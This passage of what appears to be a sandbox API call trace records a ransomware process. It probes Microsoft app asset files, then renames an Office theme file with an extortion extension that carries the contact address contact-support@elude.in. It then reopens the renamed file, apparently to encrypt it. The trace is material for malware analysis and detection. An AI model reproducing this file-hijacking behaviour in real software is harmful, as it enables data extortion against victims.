hTemplateFile=0x0) returned 0xffffffff [0258.089] Sleep (dwMilliseconds=0x1) [0258.103] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\1px.png", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\1px.png") returned 1 [0258.103] GetProcessHeap () returned 0x630000 [0258.103] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d68) returned 0x6fe3bb0 [0258.103] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\1px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\1px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.108] Sleep (dwMilliseconds=0x1) [0258.122] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\10px.png", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\10px.png") returned 1 [0258.122] GetProcessHeap () returned 0x630000 [0258.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d64) returned 0x6fe3bb0 [0258.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Spacer\\10px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\spacer\\10px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.124] Sleep (dwMilliseconds=0x1) [0258.135] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W5.png", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W5.png") returned 1 [0258.135] GetProcessHeap () returned 0x630000 [0258.135] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d58) returned 0x6fe3bb0 [0258.135] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W5.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.137] Sleep (dwMilliseconds=0x1) [0258.149] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W4.png", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W4.png") returned 1 [0258.149] GetProcessHeap () returned 0x630000 [0258.149] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d54) returned 0x6fe3bb0 [0258.149] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W4.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.151] Sleep (dwMilliseconds=0x1) [0258.167] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W1.png", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W1.png") returned 1 [0258.167] GetProcessHeap () returned 0x630000 [0258.167] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d48) returned 0x6fe3bb0 [0258.167] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W1.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.169] Sleep (dwMilliseconds=0x1) [0258.180] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W0.png", len=0x6f | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W0.png") returned 1 [0258.180] GetProcessHeap () returned 0x630000 [0258.180] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d44) returned 0x6fe3bb0 [0258.181] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\W0.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\w0.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.185] Sleep (dwMilliseconds=0x1) [0258.204] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\9px.png", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\9px.png") returned 1 [0258.204] GetProcessHeap () returned 0x630000 [0258.204] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d38) returned 0x6fe3bb0 [0258.204] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\9px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\9px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.206] Sleep (dwMilliseconds=0x1) [0258.215] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\8px.png", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\8px.png") returned 1 [0258.215] GetProcessHeap () returned 0x630000 [0258.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d34) returned 0x6fe3bb0 [0258.215] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\8px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\8px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.217] Sleep (dwMilliseconds=0x1) [0258.233] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\5px.png", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\5px.png") returned 1 [0258.233] GetProcessHeap () returned 0x630000 [0258.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d28) returned 0x6fe3bb0 [0258.233] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\5px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\5px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.234] Sleep (dwMilliseconds=0x1) [0258.246] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\4px.png", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\4px.png") returned 1 [0258.246] GetProcessHeap () returned 0x630000 [0258.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d24) returned 0x6fe3bb0 [0258.247] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\4px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\4px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.248] Sleep (dwMilliseconds=0x1) [0258.264] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\1px.png", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\1px.png") returned 1 [0258.264] GetProcessHeap () returned 0x630000 [0258.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d18) returned 0x6fe3bb0 [0258.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\1px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\1px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.266] Sleep (dwMilliseconds=0x1) [0258.278] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\10px.png", len=0x71 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\10px.png") returned 1 [0258.278] GetProcessHeap () returned 0x630000 [0258.278] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d14) returned 0x6fe3bb0 [0258.278] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\LiveTile\\10px.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\livetile\\10px.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.279] Sleep (dwMilliseconds=0x1) [0258.295] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-200.png", len=0x95 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-200.png") returned 1 [0258.295] GetProcessHeap () returned 0x630000 [0258.295] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d08) returned 0x6fe3bb0 [0258.295] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileMediumSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilemediumsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.297] Sleep (dwMilliseconds=0x1) [0258.309] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png", len=0x94 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png") returned 1 [0258.309] GetProcessHeap () returned 0x630000 [0258.309] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d04) returned 0x6fe3bb0 [0258.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_TileLargeSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_tilelargesquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.311] Sleep (dwMilliseconds=0x1) [0258.326] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png", len=0x92 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png") returned 1 [0258.326] GetProcessHeap () returned 0x630000 [0258.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf8) returned 0x6fe3bb0 [0258.327] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.328] Sleep (dwMilliseconds=0x1) [0258.340] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png", len=0x93 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png") returned 1 [0258.340] GetProcessHeap () returned 0x630000 [0258.340] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf4) returned 0x6fe3bb0 [0258.340] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.343] Sleep (dwMilliseconds=0x1) [0258.357] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png", len=0x92 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png") returned 1 [0258.357] GetProcessHeap () returned 0x630000 [0258.357] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cec) returned 0x6fe3bb0 [0258.357] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Weather_LogoSmall.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\weather_logosmall.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.358] Sleep (dwMilliseconds=0x1) [0258.383] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png", len=0x94 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png") returned 1 [0258.383] GetProcessHeap () returned 0x630000 [0258.383] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce0) returned 0x6fe3bb0 [0258.383] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileSmallSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilesmallsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.385] Sleep (dwMilliseconds=0x1) [0259.956] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png", len=0x95 | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png") returned 1 [0259.956] GetProcessHeap () returned 0x630000 [0259.956] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0261.064] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black\\Weather_TileMediumSquare.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\contrast-black\\weather_tilemediumsquare.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.067] Sleep (dwMilliseconds=0x1) [0261.087] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6e | out: pbstr=0x54bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0261.087] GetProcessHeap () returned 0x630000 [0261.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cb0) returned 0x6fe3bb0 [0261.087] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.093] Sleep (dwMilliseconds=0x1) [0261.126] SysReAllocStringLen (in: pbstr=0x54bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM", len=0x70 | out: pbstr=0x54bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM") returned 1 [0261.126] GetProcessHeap () returned 0x630000 [0261.126] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c88) returned 0x6fe3bb0 [0261.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0261.840] CloseHandle (hObject=0x4e4) returned 1 [0261.840] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.841] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x54bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x54bfc6c | out: lpFindFileData=0x54bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ae323c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="DEEPBL~2.FIR")) returned 0x6d5200 [0261.842] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0261.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\DEEPBLUE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\deepblue\\deepblue.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0261.842] GetProcessHeap () returned 0x630000 [0261.842] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x712f718 [0261.843] GetProcessHeap () returned 0x630000 [0261.843] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x711d230 [0261.843] 